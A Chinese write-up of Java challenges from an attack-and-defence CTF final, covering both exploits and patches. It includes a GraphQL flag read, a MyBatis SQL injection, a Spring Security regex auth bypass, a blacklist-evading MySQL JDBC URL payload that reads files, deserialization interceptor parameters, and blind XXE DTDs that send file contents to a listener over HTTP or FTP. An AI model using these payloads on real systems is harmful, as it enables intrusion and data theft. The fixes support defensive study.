梧桐杯决赛的awd题目,一共三台靶机,其中一台靶机上运行了两个java服务,这里做一下awd中java题目的总结
关于patch jar包可以参考 https://github.com/H4cking2theGate/JarPatcher
actuator-testbed 本题的依赖如下,springboot版本为2.0.5.RELEASE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-actuator</artifactId> </dependency> <dependency> <groupId>io.leangen.graphql</groupId> <artifactId>graphql-spqr-spring-boot-starter</artifactId> <version>0.0.3</version> </dependency> <dependency> <groupId>javax.persistence</groupId> <artifactId>javax.persistence-api</artifactId> <version>2.2</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.26</version> </dependency> <dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-boot-starter</artifactId> <version>2.1.4</version> </dependency>
GraphQL接口读文件 题目使用了graphql-spqr-spring-boot-starter,我们可以访问/graphql接口来使用查询
例如下面这个userinfo使用了@GraphQLQuery注解,可以用来读flag
1 2 3 4 5 6 7 @GraphQLQuery( name = "userinfo" ) public String userinfo() { String data = FileReader.readFileAsString("./flag"); return data.equals("") ? "empty user data" : data; }
这样请求就可以
1 2 3 { "query":"query { userinfo } " }
修的方式很简单,改一下返回值即可,不让读flag
mybatis sql注入 同样存在一个接口
1 2 3 4 5 6 7 @GraphQLMutation( name = "login" ) public String login(String username, String password) { User user = this.authService.login(username, password); return user != null ? "Login Success: " + user.getUsername() : "Login Failed"; }
继续跟进
1 2 3 4 5 6 7 8 public User login(String username, String password) { User user = this.userMapper.findByUsername(username); if (user != null && user.getPassword().equals(password)) { return user; } else { throw new IllegalArgumentException("Invalid username or password"); } }
UserMapper里面的注解使用了$,会产生sql注入,打报错注入读文件即可
1 2 3 4 5 @Mapper public interface UserMapper { @Select({"SELECT * FROM user WHERE username = '${username}"}) User findByUsername(String username); }
patch的话需要修改注解
1 2 3 4 5 @Mapper public interface UserMapper { @Select({"SELECT * FROM user WHERE username = #{username}"}) User findByUsername(String username); }
actuator未授权(没通) 这题还有actuator的未授权,并且题目名字也有暗示,但是实际测试比赛的时候发现并没有在web端暴露env接口,而且也没有合适的依赖可以打,mysql版本太高也没法打jdbc,不知道是什么用意,本题spring配置如下
1 2 3 4 5 6 7 8 server.port=8098 eureka.client.register-with-eureka=false eureka.client.fetch-registry=false graphql.servlet.schema-location-pattern=**/*.graphqls spring.datasource.url=jdbc:mysql://localhost:3306/ctf spring.datasource.username=ctf spring.datasource.password=ctf spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
Spring Boot Actuator 是 Spring Boot 提供的一个管理和监控 Spring Boot 应用程序的插件。Actuator 可以提供有关应用程序的健康状况、度量、日志记录和其他信息,可以通过 HTTP 或 JMX 等不同方式进行访问。
/env 是 Spring Boot Actuator 的一个端点,用于显示当前应用程序的环境属性。该端点返回一个 JSON 格式的响应,其中包含有关应用程序环境的详细信息,例如操作系统、Java 运行时环境、应用程序配置属性等等。
Spring Boot 2.x
如果1.5.x<=SpringBoot<=2.x,那么默认是只能访问到health
和info
端点的
参考:https://docs.spring.io/spring-boot/docs/2.5.x/reference/htmlsingle/#actuator.endpoints.enabling
Spring Boot Actuator
针对于所有 endpoint 都提供了两种状态的配置
enabled 启用状态。默认情况下除了 shutdown
之外,其他 endpoint 默认是启用状态。
exposure 暴露状态。endpoint 的 enabled 设置为 true 后,还需要暴露一次,才能够被访问,默认情况下只有 health 和 info 是暴露的。
Since Endpoints may contain sensitive information, careful consideration should be given about when to expose them. The following table shows the default exposure for the built-in endpoints:
ID
JMX
Web
auditevents
Yes
No
beans
Yes
No
caches
Yes
No
conditions
Yes
No
configprops
Yes
No
env
Yes
No
flyway
Yes
No
health
Yes
Yes
heapdump
N/A
No
httptrace
Yes
No
info
Yes
No
integrationgraph
Yes
No
jolokia
N/A
No
logfile
N/A
No
loggers
Yes
No
liquibase
Yes
No
metrics
Yes
No
mappings
Yes
No
prometheus
N/A
No
quartz
Yes
No
scheduledtasks
Yes
No
sessions
Yes
No
shutdown
Yes
No
startup
Yes
No
threaddump
Yes
No
To change which endpoints are exposed, use the following technology-specific include
and exclude
properties:
Property
Default
management.endpoints.jmx.exposure.exclude
management.endpoints.jmx.exposure.include
*
management.endpoints.web.exposure.exclude
management.endpoints.web.exposure.include
health
The include
property lists the IDs of the endpoints that are exposed. The exclude
property lists the IDs of the endpoints that should not be exposed. The exclude
property takes precedence over the include
property. Both include
and exclude
properties can be configured with a list of endpoint IDs.
For example, to stop exposing all endpoints over JMX and only expose the health
and info
endpoints, use the following property:
Properties
Yaml
1 management.endpoints.jmx.exposure.include =health,info
*
can be used to select all endpoints. For example, to expose everything over HTTP except the env
and beans
endpoints, use the following properties:
Properties
Yaml
1 2 management.endpoints.web.exposure.include =* management.endpoints.web.exposure.exclude =env,beans
在这个版本下,如果希望暴露web的env端口,需要添加配置
1 management.endpoints.web.exposure.include=env
或者暴露所有端口
1 management.endpoints.web.exposure.include=*
就算如此还是只能使用get去请求,没法使用post来修改属性,这是由于环境中没有spring cloud相关依赖,我们可以添加
1 2 3 4 5 <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-context</artifactId> <version>2.2.1.RELEASE</version> </dependency>
如果使用的是2.2.2.RELEASE
1 2 3 4 5 <dependency> <groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-context</artifactId> <version>2.2.2.RELEASE</version> </dependency>
配置中需要添加
1 management.endpoint.env.post.enabled=true
如果需要安全的配置,只需要
1 2 3 management.endpoint.env.post.enabled=false 或 management.endpoint.env.enabled=false
Spring Boot 1.x
在1.x版本中,这里的配置有所不同,SpringBoot <= 1.5.x 以下,是不需要任何配置的,直接就可以访问到端点。
那么开发为了访问到其他端点,会这样设置来关闭认证,允许其他端点未授权访问:
1 management.security.enabled=false
如果想要针对某个端点,比如env
,则可以这样设置:
1 endpoints.env.sensitive=false
Bypass 还有一道题目是关于SpringSecurity鉴权绕过,然后打jdbc的,还有一个tika的xxe
jdbc反序列化 首先是触发点,这里明显可以打jdbc
1 2 3 4 5 6 7 8 9 @RequestMapping( value = {"/jdbc/*"}, method = {RequestMethod.POST} ) public void callExternalAPI(@RequestParam("host") String host, @RequestParam(value = "port",defaultValue = "3306") int port, @RequestParam("DataBase") String database, @RequestParam("ExtraParams") String extraParams) throws SQLException { MysqlConfiguration mysqlConfiguration = new MysqlConfiguration(); String jdbc = mysqlConfiguration.getJdbc(host, String.valueOf(port), database, extraParams); DriverManager.getConnection(jdbc); }
存在鉴权
1 2 3 4 5 protected void configure(HttpSecurity http) throws Exception { ((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().regexMatchers(new String[]{"/jdbc/.*"})).authenticated(); ((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().anyRequest()).permitAll(); http.csrf().disable(); }
这里使用的SpringSecurity版本是5.5.6,参考CVE-2022-22978
1 2 3 /jdbc/%0a /jdbc/%0d /jdbc/%0a%0d
对ExtraParams有过滤,不能url编码,也不能大小写
1 private List<String> illegalParameters = Arrays.asList("autoDeserialize", "queryInterceptors", "statementInterceptors", "detectCustomCollations", "allowloadlocalinfile", "allowUrlInLocalInfile", "allowLoadLocalInfileInPath")
随便绕过一下,读文件
1 host=127.0.0.1%3a33060%2ftest%3fallowLoadLocalInfile%3dtrue%26allowUrlInLocalInfile%3dtrue%26allowLoadLocalInfileInPath%3d%2f%26maxAllowedPacket%3d65536%26user%3dbase64ZmlsZXJlYWRfcG9tLnhtbA%3d%3d%23&port=33060&DataBase=test&ExtraParams=1
这里的mysql版本8.0.20正好是没法打序列化的版本,如果是8.0.19可以打ServerStatusDiffInterceptor
1 2 autoDeserialize=true queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
打个jackson链即可rce
这里给一种修的方式,检测所有参数即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public void jdbcPatch() throws NotFoundException, CannotCompileException { CtClass targetClass = getPatchClass("config.MysqlConfiguration"); CtMethod wafMethod = CtNewMethod.make("public boolean waf(String s,String illegalParameter)\n" + "{\n" + " return (!s.toLowerCase().contains(illegalParameter.toLowerCase()) && !java.net.URLDecoder.decode(s).toLowerCase().contains(illegalParameter.toLowerCase()));\n" + "}", targetClass); targetClass.addMethod(wafMethod); CtMethod getJdbcMethod = targetClass.getDeclaredMethod("getJdbc"); getJdbcMethod.setBody("{\n" + " if ($0.extraParams.trim().isEmpty()) {\n" + " return \"jdbc:mysql://HOSTNAME:PORT/DATABASE\".replace(\"HOSTNAME\", $1.trim()).replace(\"PORT\", $2.trim()).replace(\"DATABASE\", $3.trim());\n" + " } else {\n" + " java.util.Iterator var5 = $0.getIllegalParameters().iterator();\n" + "\n" + " String illegalParameter;\n" + " do {\n" + " if (!var5.hasNext()) {\n" + " return \"jdbc:mysql://HOSTNAME:PORT/DATABASE?EXTRA_PARAMS\".replace(\"HOSTNAME\", $1.trim()).replace(\"PORT\", $2.toString().trim()).replace(\"DATABASE\", $3.trim()).replace(\"EXTRA_PARAMS\", $4.trim());\n" + " }\n" + "\n" + " illegalParameter = (String)var5.next();\n" + " } while( $0.waf($1,illegalParameter) && $0.waf($2,illegalParameter) && $0.waf($3,illegalParameter) && $0.waf($4,illegalParameter) );\n" + "\n" + " throw new RuntimeException(\"Illegal parameter: \" + illegalParameter);\n" + " }\n" + " }"); }
tika xxe 依赖有tika,给了个upload路由
1 2 3 4 5 @RequestMapping({"/upload"}) public String uploadFile(@RequestParam("data") String data) throws Exception { StringBuffer stringBuffer = utils.GetMetadata(data); return stringBuffer.toString(); }
这里的GetMetadata的parse中能打xxe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static StringBuffer GetMetadata(String data) throws Exception { StringBuffer stringBuffer = new StringBuffer(); Parser parser = new AutoDetectParser(); BodyContentHandler handler = new BodyContentHandler(); Metadata metadata = new Metadata(); InputStream inputStream = base64ToInputStream(data); ParseContext context = new ParseContext(); parser.parse(inputStream, handler, metadata, context); String[] metadataNames = metadata.names(); String[] var8 = metadataNames; int var9 = metadataNames.length; for(int var10 = 0; var10 < var9; ++var10) { String name = var8[var10]; stringBuffer.append(name + ": " + metadata.get(name)); } return stringBuffer; }
两处xxe位置,一个触发点在detect中
1 2 3 4 5 6 7 8 9 10 11 12 13 parseContentTypesFile:377, ContentTypeManager (org.apache.poi.openxml4j.opc.internal) <init>:105, ContentTypeManager (org.apache.poi.openxml4j.opc.internal) <init>:56, ZipContentTypeManager (org.apache.poi.openxml4j.opc.internal) getPartsImpl:137, ZipPackage (org.apache.poi.openxml4j.opc) getParts:623, OPCPackage (org.apache.poi.openxml4j.opc) open:209, OPCPackage (org.apache.poi.openxml4j.opc) detectOfficeOpenXML:194, ZipContainerDetector (org.apache.tika.parser.pkg) detectZipFormat:134, ZipContainerDetector (org.apache.tika.parser.pkg) detect:77, ZipContainerDetector (org.apache.tika.parser.pkg) detect:61, CompositeDetector (org.apache.tika.detect) parse:113, AutoDetectParser (org.apache.tika.parser) GetMetadata:31, utils (Utils) uploadFile:34, TestController (hello)
第二处在parse
1 2 3 4 5 6 7 8 9 10 11 12 13 parseContentTypesFile:377, ContentTypeManager (org.apache.poi.openxml4j.opc.internal) <init>:105, ContentTypeManager (org.apache.poi.openxml4j.opc.internal) <init>:56, ZipContentTypeManager (org.apache.poi.openxml4j.opc.internal) getPartsImpl:137, ZipPackage (org.apache.poi.openxml4j.opc) getParts:623, OPCPackage (org.apache.poi.openxml4j.opc) open:209, OPCPackage (org.apache.poi.openxml4j.opc) parse:70, OOXMLExtractorFactory (org.apache.tika.parser.microsoft.ooxml) parse:82, OOXMLParser (org.apache.tika.parser.microsoft.ooxml) parse:242, CompositeParser (org.apache.tika.parser) parse:242, CompositeParser (org.apache.tika.parser) parse:120, AutoDetectParser (org.apache.tika.parser) GetMetadata:31, utils (Utils) uploadFile:34, TestController (hello)
java xxe总结
1 2 3 4 5 6 7 8 1、所有的【\r】 都会被替换为【\n】 2、如果不包含特殊字符,低版本 ftp 可以读多行文件,高版本 ftp 只可以读单行文件,全版本 http 都只可以读单行文件,所以这里通用的方法就是FTP来进行读取 3、版本限制是 <7u141 和 <8u162 才可以读取整个文件 4、如果含有特殊字符 【%】 【&】 会完全出错 5、如果含有特殊字符 【’】 【”】 可以稍微绕过 6、如果含有特殊字符 【?】,对 http 无影响,对 ftp 会造成截断 7、如果含有特殊字符【/】, 对 http 无影响,对 ftp 需要额外增加解析的 case 8、如果含有特殊字符【#】,会造成截断
DOM4j下在内部子集中无法使用参数实体,我们的xml必须用外部dtd
构造xml
1 2 3 4 <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://127.0.0.1:8000/blind.dtd"> %remote;%payload;%send; ]>
外部dtd
这里可以用http读单行,但无法解析特殊字符
1 2 3 <!-- <!ENTITY % file SYSTEM "file:///../../../../../../../../flag.txt"> --> <!ENTITY % file SYSTEM "file:///e:/flag.txt"> <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://127.0.0.1:8000/%file;'>">
或者ftp来读,高版本可以读多行,低版本读一行,匿名登陆的密码是java版本
1 2 <!ENTITY % file SYSTEM "file:///e:/flag.txt"> <!ENTITY % payload "<!ENTITY % send SYSTEM 'ftp://127.0.0.1:21/%file;'>">
读多行也可以可以用pass来读
1 2 <!ENTITY % file SYSTEM "file:///e:/flag.txt"> <!ENTITY % payload "<!ENTITY % send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:21'>">
把xml打包在zip中,命名为[Content_Types].xml即可
修复方案:org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile
1 2 3 reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); reader.setFeature("http://xml.org/sax/features/external-general-entities", false); reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
Reference https://www.aqtd.com/nd.jsp?id=4844
https://xz.aliyun.com/t/9763
https://kylingit.com/blog/java-xxe%E4%B8%AD%E4%B8%A4%E7%A7%8D%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%BD%A2%E5%BC%8F%E5%8F%8A%E7%9B%B8%E5%85%B3%E9%99%90%E5%88%B6/
http://www.lvyyevd.cn/archives/xxe%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
https://www.cnblogs.com/zpchcbd/p/12900903.html